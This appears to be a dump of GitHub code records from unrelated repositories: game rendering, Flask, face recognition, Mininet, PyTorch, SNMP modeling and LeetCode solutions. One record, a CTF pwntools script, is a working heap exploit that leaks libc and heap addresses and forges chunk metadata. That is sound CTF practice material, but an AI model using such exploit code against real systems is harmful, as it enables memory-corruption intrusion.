Direction.ALL_DIRECTIONS\n\n orientation_str = Direction.DIRECTION_TO_STRING[orientation]\n return orientation_str\n\n\ndef render_from_grid(lvl_grid, log_dir, filename):\n \"\"\"\n Render a single frame of game from grid level.\n This function is used for visualization the levels generated which\n are possibily broken or invalid. It also does not take the orientation\n of the players into account. So this method should not be used for\n actual game rendering.\n \"\"\"\n width = len(lvl_grid[0])\n height = len(lvl_grid)\n window_size = width * SPRITE_LENGTH, height * SPRITE_LENGTH\n viewer = pygame.display.set_mode(window_size)\n viewer.fill((255, 255, 255))\n for y, terrain_row in enumerate(lvl_grid):\n for x, terrain in enumerate(terrain_row):\n curr_pos = get_curr_pos(x, y)\n\n # render player\n if str.isdigit(terrain):\n player = overcooked_ai_py.mdp.overcooked_mdp.PlayerState(\n (x, y), Direction.SOUTH)\n player_idx = int(terrain)\n player_pgobj, player_hat_pgobj = get_player_sprite(\n player, player_idx - 1)\n\n # render floor as background\n terrain_pgobj = load_image(TERRAIN_TO_IMG[\" \"])\n viewer.blit(terrain_pgobj, curr_pos)\n\n # then render the player\n viewer.blit(player_pgobj, curr_pos)\n viewer.blit(player_hat_pgobj, curr_pos)\n\n # render terrain\n else:\n terrain_pgobj = load_image(TERRAIN_TO_IMG[terrain])\n viewer.blit(terrain_pgobj, curr_pos)\n\n pygame.display.update()\n\n # save image\n pygame.image.save(viewer, os.path.join(log_dir, filename))\n\n\ndef render_game_info_panel(window, game_window_size, num_orders_remaining,\n time_passed):\n #<<<<<<< HEAD\n # pass\n # game_window_width, game_window_height = game_window_size\n\n # # get panel rect\n # panel_rect = pygame.Rect(0, 0, game_window_width,\n # INFO_PANEL_HEIGHT)\n\n # # fill with background color\n # window.fill(INFO_PANEL_COLOR, rect=panel_rect)\n\n # # update num orders left\n # if num_orders_remaining == np.inf:\n # num_orders_remaining = \"inf\"\n # num_order_t_surface = get_text_sprite(\n # f\"Number of orders left: {num_orders_remaining}\")\n # num_order_text_pos = num_order_t_surface.get_rect()\n # num_order_text_pos.topleft = panel_rect.topleft\n # window.blit(num_order_t_surface, num_order_text_pos)\n\n # # update time passed\n # t_surface = get_text_sprite(\"Time passed: %3d s\" % time_passed)\n # time_passed_text_pos = t_surface.get_rect()\n # _, num_order_txt_height = num_order_t_surface.get_size()\n # time_passed_text_pos.y = num_order_text_pos.y + num_order_txt_height\n # window.blit(t_surface, time_passed_text_pos)\n #=======\n game_window_width, game_window_height = game_window_size\n\n # get panel rect\n panel_rect = pygame.Rect(0, 0, game_window_width, INFO_PANEL_HEIGHT)\n\n # fill with background color\n window.fill(INFO_PANEL_COLOR, rect=panel_rect)\n\n # update num orders left\n if num_orders_remaining == np.inf:\n num_orders_remaining = \"inf\"\n num_order_t_surface = get_text_sprite(\n f\"Number of orders left: {num_orders_remaining}\")\n num_order_text_pos = num_order_t_surface.get_rect()\n num_order_text_pos.topleft = panel_rect.topleft\n window.blit(num_order_t_surface, num_order_text_pos)\n\n # update time passed\n t_surface = get_text_sprite(\"Time passed: %3d s\" % time_passed)\n time_passed_text_pos = t_surface.get_rect()\n _, num_order_txt_height = num_order_t_surface.get_size()\n time_passed_text_pos.y = num_order_text_pos.y + num_order_txt_height\n window.blit(t_surface, time_passed_text_pos)\n\n\n#>>>>>>> bce3ff4b5f40e334f942ddc27276ace0cdea63ea\n","repo_name":"icaros-usc/overcooked_env_gen","sub_path":"overcooked_ai_py/mdp/graphics.py","file_name":"graphics.py","file_ext":"py","file_size_in_byte":10851,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"33837347819","text":"from flask import Blueprint, render_template\nfrom db import database\n\n# Defining a blueprint\nadmin = Blueprint(\n 'admin', __name__,\n template_folder='adminTemplates',\n static_folder='adminStatic'\n)\n\n@admin.route('/')\ndef admin_home():\n lst = database.findAll()\n return render_template(\"admin.html\", lst = lst)\n\n","repo_name":"codewithap/Silent-Peace","sub_path":"admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21725703610","text":"from pwn import *\ncontext.log_level = 'debug'\ndef buy(item,number,size,data):\n p.sendlineafter(\"choice: \",\"1\")\n p.sendlineafter(\"buy: \",str(item))\n p.sendlineafter(\"many: \",str(number))\n p.sendlineafter(\"note: \",str(size))\n p.sendafter(\"Content: \",data)\n\n\ndef show():\n p.sendlineafter(\"choice: \",\"2\")\n\n\ndef checkout(idx):\n p.sendlineafter(\"choice: \",\"3\")\n p.sendlineafter(\"for: \",str(idx))\n\n\ndef dbg():\n gdb.attach(p)\n\n\np = process('./amazon')\n\nbuy(0,0x10 , 0x80,\"0\"*8)\nbuy(1,0x10, 0x90, \"1\"*8)\nbuy(1,0x10,0x30,p64(0)+p64(0xa1)+\"\\n\")\ncheckout(2)\nbuy(1,0x10,0x20,\"\\n\")\nfor i in range(7):\n checkout(0)\n\n\nshow()\nheap = u64(p.recv(12)[-6:].ljust(8,\"\\x00\")) \ncheckout(0)\nshow()\nlibc = u64(p.recvuntil(\"\\x7f\")[-6:].ljust(8,\"\\x00\")) -0x7ffff7dcfca0 + 0x00007ffff79e4000\n\n\nbuy(1,0x10,0x30,\"y\"*0x10+p64(0)+p64(0x81)+p64(libc+0x00007ffff7dcfcf0-0x7ffff79e4000)*2)\nbuy(2,0x10,0x80,\"2\"*8)\npayload = p64(libc+0x00007ffff7dcfcb0-0x00007ffff79e4000)*2\npayload += p64(libc+0x00007ffff7dcfcc0-0x7ffff79e4000)*2\npayload += p64(libc+0x00007ffff7dcfcd0-0x7ffff79e4000)*2\npayload += p64(heap + 0x1a0)*2\n\nbuy(3,0x10 , 0x80,payload+\"\\n\")\nbuy(1,0x10,0x58,\"\\n\")\n\n","repo_name":"doom-man/ctf","sub_path":"2019_gc/amazon/exp2.py","file_name":"exp2.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28894749793","text":"from ImgConst import *\n\ndef save_img_feature(encoder, dataset):\n dataset = dataset.astype('float32') / 255.\n dataset = np.reshape(dataset, (len(dataset), IMG_WIDTH, IMG_HEIGHT, IMG_COLOR))\n \n encoded_images = encoder.predict(dataset)\n encoded_images = encoded_images.reshape(encoded_images.shape[0], -1)\n \n feature_path = SAVE_FEATURE_PATH.format(int(round(time.time() * 1000)))\n np.savetxt(feature_path, encoded_images)\n \n return feature_path\n \ndef load_img_features(feature_path):\n return np.loadtxt(feature_path)\n \n ","repo_name":"jaydeepchakraborty/ImgSim","sub_path":"ImgFeatures.py","file_name":"ImgFeatures.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13464331538","text":"#!/usr/bin/env python3\n# _*_ encoding:utf-8 _*_\n'''\n@File : FaceRecognitionDemo2.py\n@Time : 2019/04/05 15:07:27\n@Author : Jayden Huang\n@Version : v1.0\n@Contact : Hjdong8@163.com\n@Desc : Face Recognition Compare Faces, Only for study.\n'''\n\n# Here put the import lib\nimport os\nimport face_recognition\n\nimage_path = os.path.abspath(\"./MachineLearning/Instance/face_login/image/JayChou\")\nimage_name = \"JayChou.jpg\"\nimage_unknow = \"Unknow_4.jpg\"\nimage_error = \"Error.jpg\"\n\nimage_known = face_recognition.load_image_file(os.path.join(image_path, image_name))\nimage_unknow = face_recognition.load_image_file(os.path.join(image_path, image_unknow))\nimage_error = face_recognition.load_image_file(os.path.join(image_path, image_error))\n\nknowm_encoding = face_recognition.face_encodings(image_known)\nunknowm_encoding = face_recognition.face_encodings(image_unknow)\nerror_encoding = face_recognition.face_encodings(image_error)\n\nresult = face_recognition.compare_faces(knowm_encoding, unknowm_encoding[0])\nresult_error = face_recognition.compare_faces(knowm_encoding, error_encoding[0])\nprint(result)\nprint(result_error)\n\n","repo_name":"LoJve/MachineLearning","sub_path":"Instance/face_login/demo/face_detection/FaceRecognitionDemo2.py","file_name":"FaceRecognitionDemo2.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16397079832","text":"\nfrom mininet.topo import Topo\nfrom mininet.net import Mininet\nfrom mininet.util import dumpNodeConnections\nfrom mininet.log import setLogLevel\n\nclass SingleSwitchTopo(Topo):\n #Un solo switch conectado a n puntos\n def __init__(self,n=2,**opts):\n Topo.__init__(self,**opts)\n switch = self.addSwitch('s1')\n\n for h in range(n):\n host = self.addHost('h%s'%(h+1))\n self.addLink(host,switch)\n\ndef simpleTest():\n topo = SingleSwitchTopo(n=4)\n net = Mininet(topo)\n net.start()\n print(\"Dumping host connections\")\n dumpNodeConnections(net.hosts)\n print(\"Testing network connectivity\")\n net.pingAll()\n net.stop()\n\n","repo_name":"MagallanesFito/sdn","sub_path":"topologies/classTopology.py","file_name":"classTopology.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71424482153","text":"import random as rd\n# Fonction de génération d'un dictonnaire aléatoire entre 0 et 255 inclut\ndef gen_dict(n):\n d = {}\n for i in range(n):\n d[rd.randint(0,255)] = \"v\"+str(i)\n return d\n\n# Fonction qui trouve la vignette de dico la plus proche de la valeur vref et retourne vignette\ndef find_nearest(d, vref):\n vrefTest = []\n vrefNear = 0\n for keys in d:\n vrefTest.append(keys)\n if vref > max(vrefTest) or vref < min(vrefTest):\n print(\"The key is not in the dictionary\")\n if (vref - min(vrefTest)) < (max(vrefTest) - vref):\n vrefNear = min(vrefTest)\n else:\n vrefNear = max(vrefTest)\n print(\"The nearest value is\", vrefNear)\n else:\n vrefTest.append(vref)\n vrefTest.sort()\n print(\"The key is in the dictionary\")\n vrefPosition = vrefTest.index(vref)\n vrefPositionMore = vrefPosition + 1\n vrefPositionLess = vrefPosition - 1\n if vrefTest[vrefPositionMore] - vrefTest[vrefPosition] < vrefTest[vrefPosition] - vrefTest[vrefPositionLess]:\n vrefNear = vrefTest[vrefPositionMore]\n else :\n vrefNear = vrefTest[vrefPositionLess]\n return vrefNear\n\n","repo_name":"l0u1sg/mosaic-project-NSI","sub_path":"final_preliminar_exo.py","file_name":"final_preliminar_exo.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73318267754","text":"import torch.nn as nn\r\n\r\ncfg = {\r\n 'VGG11': [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\r\n 'VGG13': [64, 'M', 64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\r\n 'VGG16': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512, 'M'],\r\n 'VGG19': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M']\r\n}\r\n\r\n\r\nclass VGG(nn.Module):\r\n def __init__(self, vgg_type, num_classes=10):\r\n super(VGG, self).__init__()\r\n self.cfg = cfg\r\n self.features = self.make_layers(cfg[vgg_type])\r\n self.classifier = nn.Linear(512, num_classes)\r\n\r\n def make_layers(self, cfg):\r\n layer = []\r\n in_channel = 3\r\n for i in cfg:\r\n if i == 'M':\r\n layer.append(nn.MaxPool2d(kernel_size=2, stride=2))\r\n else:\r\n cur_layer = nn.Sequential(\r\n nn.Conv2d(in_channel, i, kernel_size=3, padding=1, bias=False),\r\n nn.BatchNorm2d(i),\r\n nn.ReLU(True)\r\n )\r\n layer.append(cur_layer)\r\n in_channel = i\r\n return nn.Sequential(*layer)\r\n\r\n def forward(self, x):\r\n out = self.features(x)\r\n out = out.view(out.size(0), -1)\r\n out = self.classifier(out)\r\n return out\r\n\r\n\r\ndef VGG11():\r\n return VGG('VGG11')\r\n\r\n\r\ndef VGG13():\r\n return VGG('VGG13')\r\n\r\n\r\ndef VGG16():\r\n return VGG('VGG16')\r\n\r\n\r\ndef VGG19():\r\n return VGG('VGG19')\r\n","repo_name":"JustinYuu/pytorch-CIFAR10-playground","sub_path":"net/vgg.py","file_name":"vgg.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"33185028289","text":"from requests import Session\nfrom pb_admin import schemas\nfrom urllib.parse import urlparse, parse_qs\n\n\nclass Categories():\n def __init__(self, session: Session, site_url: str) -> None:\n self.session = session\n self.site_url = site_url\n\n def get_list(self) -> list[schemas.Category]:\n \"\"\"Get list of all categories in short version id, title, is_display, headline, weight, is_shown_in_filter.\"\"\"\n categories = []\n is_next_page = True\n params = {'perPage': 100}\n while is_next_page:\n resp = self.session.get(f'{self.site_url}/nova-api/categories', params=params)\n resp.raise_for_status()\n raw_page = resp.json()\n for row in raw_page['resources']:\n values = {cell['attribute']: cell['value'] for cell in row['fields']}\n categories.append(\n schemas.Category(\n ident=values.get('id'),\n title=values.get('title'),\n is_display=values.get('display_menu'),\n headline=values.get('headline'),\n weight=values.get('sort'),\n is_shown_in_filter=values.get('show_in_filter'),\n image=schemas.Image(\n ident=values['category_image'][0]['id'],\n mime_type=values['category_image'][0]['mime_type'],\n original_url=values['category_image'][0]['original_url'],\n file_name=values['category_image'][0]['file_name'],\n ) if values.get('category_image') else None,\n image_retina=schemas.Image(\n ident=values['category_image_retina'][0]['id'],\n mime_type=values['category_image_retina'][0]['mime_type'],\n original_url=values['category_image_retina'][0]['original_url'],\n file_name=values['category_image_retina'][0]['file_name'],\n ) if values.get('category_image_retina') else None,\n )\n )\n\n if raw_page.get('next_page_url'):\n parsed_url = urlparse(raw_page.get('next_page_url'))\n params.update(parse_qs(parsed_url.query))\n else:\n is_next_page = False\n\n return categories\n","repo_name":"vcslav-v/pb_admin","sub_path":"pb_admin/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23773931391","text":"class Solution:\n def reverseString(self, s: [str]) -> None:\n \"\"\"\n Do not return anything, modify s in-place instead.\n \"\"\"\n # s.reverse()\n front = 0\n back = len(s)-1\n while front List[int]:\n \"\"\"\n nums = [22, 3, 33, 2, 5]\n find most common digit in nums\n '2' and '3': appear 3 times\n output: [2,3]\n \"\"\"\n\n if nums is None or len(nums) == 0:\n return []\n\n freq = float('-inf')\n\n map = {}\n\n for num in nums:\n tmp = num\n while tmp != 0:\n map[tmp % 10] = map[tmp % 10] + 1 if tmp % 10 in map else 1\n freq = map[tmp % 10] if map[tmp % 10] > freq else freq\n tmp //= 10\n\n rst = []\n for key in map:\n if map[key] == freq:\n rst.append(key)\n return rst\n\n\nsol = Solution()\nnums = [22, 3, 33, 2, 5]\nprint(sol.findMostFreqNum(nums))","repo_name":"xuetingandyang/leetcode","sub_path":"quoraOA/mostFreqNum.py","file_name":"mostFreqNum.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"42764639963","text":"import similars\nimport csv\nimport datetime as dt\nimport pandas as pd\n\nPUBLISHED_AT_FORMAT = '%Y-%m-%dT%H:%M:%S.%f%z'\n\ndef human_readable(stories, tools):\n for i, sims in enumerate(tools['index']):\n for j, score in enumerate(sims):\n print('Story {}, id:{}, publishedAt:{} to Story {}, id:{}, publishedAt:{}, similarity: {}'.format(\n i, stories[i]['id'], stories[i]['publishedAt'],\n j, stories[j]['id'], stories[j]['publishedAt'],\n score\n ))\n\ndef get_story_data(story):\n return ( story['id'], dt.datetime.strptime(story['publishedAt'], PUBLISHED_AT_FORMAT) )\n\ndef row_for_story_pair(index1, index2, score, stories):\n id1, d1 = get_story_data(stories[index1])\n id2, d2 = get_story_data(stories[index2])\n day_diff = abs((d1-d2).days)\n return [index1, id1, index2, id2, score, day_diff]\n\n\ndef csv_export(stories, tools, writer):\n writer.writerow(['index1','id1','index2','id2','similarity','day_diff'])\n index = tools['index']\n for i, sims in enumerate(index):\n for j, score in enumerate(sims):\n writer.writerow(row_for_story_pair(i, j, score, stories))\n\n\ndef export_similarity():\n stories = similars.read_stories('stories.json')\n tools = similars.generate_tools(stories)\n # all-vs-all similarities\n with open('all-to-all.csv', 'w', newline='') as f:\n writer = csv.writer(f, dialect='excel-tab')\n csv_export(stories, tools, writer)\n\n\n# Consider similarities above 0.15 only\ndf = pd.read_csv(\"all-to-all.csv\", sep=\"\\t\")\nsimilars_df = df[ (df['id1'] != df['id2']) & (df['similarity'] > 0.15)]\n\n# Doesn't make too much sense\n# similars_df['similarity'].corr(similars_df['day_diff'])\n\nsimilars_sorted = similars_df.sort_values(by=['index1','similarity'],ascending=(True,False))\n\nby_index1 = similars_sorted.groupby('index1')\ntop5 = by_index1.head(5)\ntop5[top5['day_diff'] > 100 ]\n\nsimilars_sorted.to_csv('similars.csv', sep='\\t', index=False)\ntop5.to_csv('similars_top5.csv', sep='\\t', index=False)\n\n# Not enough data\n# by_index1[['similarity','day_diff']].corr()\n","repo_name":"ltornyi/insights-story-similarity","sub_path":"sims_vs_time.py","file_name":"sims_vs_time.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4131244639","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nfrom Values import *\nfrom Usefull_functions import d\n\ndef Leavitt_correction(Cepheids: pd.DataFrame, SN: pd.DataFrame, galaxies: list):\n # Add z_obs to the Cepheids DataFrame\n z_obs = np.array([])\n for galaxy in galaxies:\n if galaxy == 'MW':\n z_obs = np.append(z_obs, np.zeros(len(Cepheids[Cepheids['Gal'] == galaxy])))\n elif galaxy == 'LMC':\n z_obs = np.append(z_obs, z_LMC * np.ones(len(Cepheids[Cepheids['Gal'] == galaxy])))\n elif galaxy == 'N4258':\n z_obs = np.append(z_obs, z_N4258 * np.ones(len(Cepheids[Cepheids['Gal'] == galaxy])))\n else:\n z_obs = np.append(z_obs, SN[SN['Gal'] == galaxy]['z_obs'].values[0] \\\n * np.ones(len(Cepheids[Cepheids['Gal'] == galaxy])))\n Cepheids['z_obs'] = z_obs\n\n # Correct the observed period P_obs to the absolute period P_0\n Cepheids['logP'] = Cepheids['logP'] - np.log10(1+Cepheids['z_obs'])\n\n return Cepheids\n\ndef RLB_galaxies_distance(pre_Leavitt_q: np.array, post_Leavitt_q: np.array, galaxies: list, name: str, fig_dir: str ='./Figure'):\n # Create the figure directory\n dist_dir = fig_dir + '/Distance'\n if not os.path.exists(dist_dir):\n print(\"I will create the %s directory for you.\" % dist_dir)\n os.mkdir(dist_dir)\n\n # Compute the difference in distance for each galaxy except MW\n d_obs = np.empty(len(galaxies) - 1)\n d_0 = np.empty(len(galaxies) - 1)\n for i in range(len(galaxies) - 1):\n d_obs[i] = d(pre_Leavitt_q[i])\n d_0[i] = d(post_Leavitt_q[i])\n\n ### plot it\n fig, ax = plt.subplots()\n fig.set_figheight(5)\n fig.set_figwidth(10)\n ax.set_xlabel('d$_0$ [Mpc]', fontsize=18)\n ax.set_ylabel('d$_0$/d$_{obs}$ [Mpc]', fontsize=18)\n ax.invert_yaxis()\n colors = plt.cm.tab20(np.linspace(0, 1, len(d_0)))\n colors[-1] = [0, 0, 1, 1]\n for i in range(len(d_0)):\n if i in range(len(d_0) - 2, len(d_0)): # Different sign for anchors\n ax.plot(d_0[i], d_0[i] / d_obs[i], marker='D', ms=15, ls='', label=galaxies[i], color=colors[i])\n else:\n ax.plot(d_0[i], d_0[i] / d_obs[i], marker='.', ms=30, ls='', label=galaxies[i], color=colors[i])\n ax.legend(fontsize=14)\n ax.tick_params(labelsize=14)\n fig.savefig(\"%s/%s_distance.jpg\"%(dist_dir,name), dpi=100)\n\n return\n\n\n# First define the value of k according to the period and redshift\ndef k_Cep(logP: np.array, z:np.array, filter: str='W'):\n # Reference points from Anderson 2021\n z_ref = np.array([0.0019, 0.0056, 0.0098, 0.0172, 0.0245])\n if filter == 'W':\n m = np.array([3.48, 2.68, 1.89, 1.07, 0.31]) * 1e-3\n c = np.array([0.51, 1.74, 3.25, 5.96, 8.05]) * 1e-3\n elif filter == 'F555W':\n m = np.array([-2.84, -8.65, -15.16, -26.85, -38.66]) * 1e-3\n c = np.array([-1.74, -5.47, -9.48, -15.67, -20.51]) * 1e-3\n elif filter == 'F814W':\n m = np.array([-1.02, -3.11, -5.47, -9.40, -12.73]) * 1e-3\n c = np.array([-0.17, -0.91, -1.79, -2.82, -4.02]) * 1e-3\n elif filter == 'F160W':\n m = np.array([-1.18, -3.53, -6.04, -10.10, -14.38]) * 1e-3\n c = np.array([1.00, 1.93, 3.19, 5.69, 8.28]) * 1e-3\n\n m_inter, c_inter, k = np.empty(len(z)), np.empty(len(z)), np.empty(len(z))\n\n # Linear interpolation\n for j in range(len(z)):\n for i in range(len(z_ref) - 1):\n if z_ref[i] <= z[j] and z[j] < z_ref[i + 1]:\n m_inter[j] = m[i] + (z[j] - z_ref[i]) * (m[i + 1] - m[i]) / (z_ref[i + 1] - z_ref[i])\n c_inter[j] = c[i] + (z[j] - z_ref[i]) * (c[i + 1] - c[i]) / (z_ref[i + 1] - z_ref[i])\n elif z[j] < z_ref[i]:\n m_inter[j] = m[0] + (z[j] - z_ref[0]) * (m[1] - m[0]) / (z_ref[1] - z_ref[0])\n c_inter[j] = c[0] + (z[j] - z_ref[0]) * (c[1] - c[0]) / (z_ref[1] - z_ref[0])\n else:\n m_inter[j] = m[-2] + (z[j] - z_ref[-2]) * (m[-1] - m[-2]) / (z_ref[-1] - z_ref[-2])\n c_inter[j] = c[-2] + (z[j] - z_ref[-2]) * (c[-1] - c[-2]) / (z_ref[-1] - z_ref[-2])\n return m_inter * logP + c_inter\n\ndef k_TRGB(z: np.array, filter: str):\n # parameters from Anderson 2021\n if filter == 'F555W':\n a,b = -0.0012, -4.1162\n elif filter == 'F814W':\n a,b = -0.0004, -1.4075\n elif filter == 'F160W':\n a,b = 0.0001,-1.6241\n\n return a+b*z\n\ndef Kcorr_Cepheids(Cepheids: pd.DataFrame):\n # Correct the magnitude of the Cepheids for the relativistics effect on k\n Cepheids['m_W'] = Cepheids['m_W'] \\\n + k_Cep(Cepheids['logP'], Cepheids['z_obs'],'W') * Cepheids['z_obs'] * Cepheids['V-I'] \\\n - 0.105 * Cepheids['z_obs'] * Cepheids['V-I'] # for F99 redshift law\n\n return Cepheids\n\ndef Kcorr_TRGB(TRGB: pd.DataFrame):\n # Correct the magnitude of the Cepheids for the relativistics effect on k\n TRGB['m'] = TRGB['m'] \\\n + k_TRGB(TRGB['z_obs'], filter='F814W') * TRGB['z_obs'] * TRGB['V-I']\n return TRGB\n","repo_name":"bastianlengen/Hubble_fit","sub_path":"Relativistics_functions.py","file_name":"Relativistics_functions.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38576786278","text":"__doc__=\"\"\"HPIdeAtaDiskMap\n\nHPIdeAtaDiskMap maps the cpqIdeAtaDiskTable to disks objects\n\n$Id: HPIdeAtaDiskMap.py,v 1.1 2009/08/18 16:49:53 egor Exp $\"\"\"\n\n__version__ = '$Revision: 1.1 $'[11:-2]\n\nfrom Products.DataCollector.plugins.CollectorPlugin import GetTableMap\nfrom HPHardDiskMap import HPHardDiskMap\n\nclass HPIdeAtaDiskMap(HPHardDiskMap):\n \"\"\"Map HP/Compaq insight manager ATA Hard Disk tables to model.\"\"\"\n\n maptype = \"HPIdeAtaDiskMap\"\n modname = \"ZenPacks.community.HPMon.cpqIdeAtaDisk\"\n\n snmpGetTableMaps = (\n GetTableMap('cpqIdeAtaDiskTable',\n '.1.3.6.1.4.1.232.14.2.4.1.1',\n {\n '.3': 'description',\n '.4': 'FWRev',\n '.5': 'serialNumber',\n '.6': 'status',\n '.8': 'size',\n '.12': 'bay',\n '.16': 'diskType',\n }\n ),\n )\n\n diskTypes = {1: 'other',\n 2: 'ATA',\n 3: 'SATA',\n }\n\n def process(self, device, results, log):\n \"\"\"collect snmp information from this device\"\"\"\n log.info('processing %s for device %s', self.name(), device.id)\n getdata, tabledata = results\n disktable = tabledata.get('cpqIdeAtaDiskTable')\n if not device.id in HPHardDiskMap.oms:\n HPHardDiskMap.oms[device.id] = []\n for oid, disk in disktable.iteritems():\n try:\n om = self.objectMap(disk)\n om.snmpindex = oid.strip('.')\n om.id = self.prepId(\"HardDisk%s\" % om.snmpindex).replace('.', '_')\n if hasattr(om, 'vendor'):\n om.description = \"%s %s\" % (om.vendor, om.description)\n om.setProductKey = om.description\n om.diskType = self.diskTypes.get(getattr(om, 'diskType', 1), '%s (%d)' %(self.diskTypes[1], om.diskType))\n om.rpm = self.rpms.get(getattr(om, 'rpm', 1), om.rpm)\n om.size = \"%d\" % (getattr(om, 'size', 0) * 1048576)\n if hasattr(om, 'bay'):\n if int(om.bay) > 3:\n om.bay = int(om.bay) - 4\n if int(om.bay) > 16:\n om.bay = int(om.bay) - 16\n except AttributeError:\n continue\n HPHardDiskMap.oms[device.id].append(om)\n return\n\n","repo_name":"zenoss/Community-Zenpacks","sub_path":"ZenPacks.community.HPMon/ZenPacks/community/HPMon/modeler/plugins/community/snmp/HPIdeAtaDiskMap.py","file_name":"HPIdeAtaDiskMap.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"} +{"seq_id":"22604502400","text":"import math\n\ndef something(n):\n while n % 2 == 0:\n n = n/2\n print(n)\n if n == 1:\n print(\"hi\")\n print(\"hey\")\n\ndef two_power(n):\n while n % 2 == 0 and n != 0:\n n = n / 2\n if n == 1:\n return True\n return False\n\ndef sum_divisors(n):\n sum = 0\n div = 1\n if n == 1 or n == 0:\n return n\n else:\n while div < n:\n if n % div == 0:\n sum += div\n else:\n sum += 0\n div += 1\n return sum\n\ndef first_and_last(message):\n if message[0] == message[-1]:\n return True\n return False\n\ndef upper_lower_case(string):\n new_string = \"\"\n for i in range(len(string)):\n if i % 2 == 1:\n new_string += string[i].lower()\n else:\n new_string += string[i].upper()\n return new_string\n\nprint(upper_lower_case(\"hello\"))\n\ndef replace_ending(sentence, old, new):\n print(\"sup\")\n if old in sentence:\n i = sentence.index(old)\n new_sentence = sentence[0:i] + new\n return new_sentence\n\nprint(replace_ending(\"It's raining cats and cats\", \"cats\", \"dogs\"))\nsentence = \"It's raining cats and cats\"\nold = \"cats\"\n\nl = ['Orange', 'Pineapple', 'Strawberry', 'Kiwi', 'Peach']\nl2 = list(enumerate(l))\nl3 = []\nfor index, item in l2:\n if index % 2 == 0:\n l3.append(item)\n\ndef skip_elements(elements):\n l = list(enumerate(elements))\n result = []\n for index, item in l:\n if index % 2 == 0:\n result += item\n return result\n\n#print(skip_elements(['Orange', 'Pineapple', 'Strawberry', 'Kiwi', 'Peach']))\n\ndef pig_latin(text):\n say = \"\"\n result = \"\"\n words = text.split(\n )\n for word in words:\n say = word[1:] + word[0] + \"ay\"\n result += say + \" \"\n return result\n\ndef group_per_user(group_dictionary):\n user_groups = {}\n for groups, users in group_dictionary.items():\n for user in users:\n user_groups.setdefault(user, []).append(groups)\n return user_groups\n\nrand = {\"local\": [\"admin\", \"userA\"], \"public\": [\"admin\", \"userB\"],\"administrator\": [\"admin\"]}\nprint(group_per_user(rand))\n\ndef something(n):\n if (n <= 1):\n return 1\n else:\n return something(n - 1) + something(n-1)\n\nprint(\"hey \" + str(something(5)))\n\ndef isPrime(n):\n x = 2\n while x <= math.sqrt(n):\n if (n % x == 0):\n return False\n return True\n x += 1\n\nprint(isPrime(7))\n\n\ndef test(n, arr):\n\tmin_num = arr[0][0]\n\tmax_num = arr[0][1]\n\tfor i in range(1, n):\n\t\tif arr[i][0] < min_num:\n\t\t\tmin_num = arr[i][0]\n\t\tif arr[i][1] > max_num:\n\t\t\tmax_num = arr[i][1]\n\tif [min_num,max_num] in arr:\n\t\tprint(arr.index([min_num,max_num]) + 1)\n\telse:\n\t\tprint(-1)\n\ntest(6, [[1,5],[2,3],[1,10],[7,10],[7,7],[10,10]])","repo_name":"nhanduong288/HomePractice","sub_path":"Python/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"33346256040","text":"# 조건문 if case1\nname = 'Spencer'\n# name = 'John'\nage = 18\nsalary = 10000\n\nif name == 'Spencer':\n print('안녕하세요!')\nelse:\n print('누구세요?')\n\nif age >= 18:\n print('원동기 면허 취득할 수 있는 나이입니다.')\n\nif salary > 1500:\n print('세금 납부 대상자입니다.')\n","repo_name":"spencer-park/icbanq-python-beginner","sub_path":"Day04/04_if_else.py","file_name":"04_if_else.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22959356438","text":"# Graph Theory + Iterative DFS\n# TC: O(N + E), N: # of nodes; E: # of edges\n# SC: O(N + E)\n\nclass Solution:\n def validTree(self, n: int, edges: List[List[int]]) -> bool:\n \n if len(edges) != n - 1:\n return False\n \n adj_list = [[] for _ in range(n)]\n for A, B in edges:\n adj_list[A].append(B)\n adj_list[B].append(A)\n \n parent = {0: -1}\n stack = [0]\n \n while stack:\n node = stack.pop()\n for neighbor in adj_list[node]:\n if neighbor == parent[node]:\n continue\n if 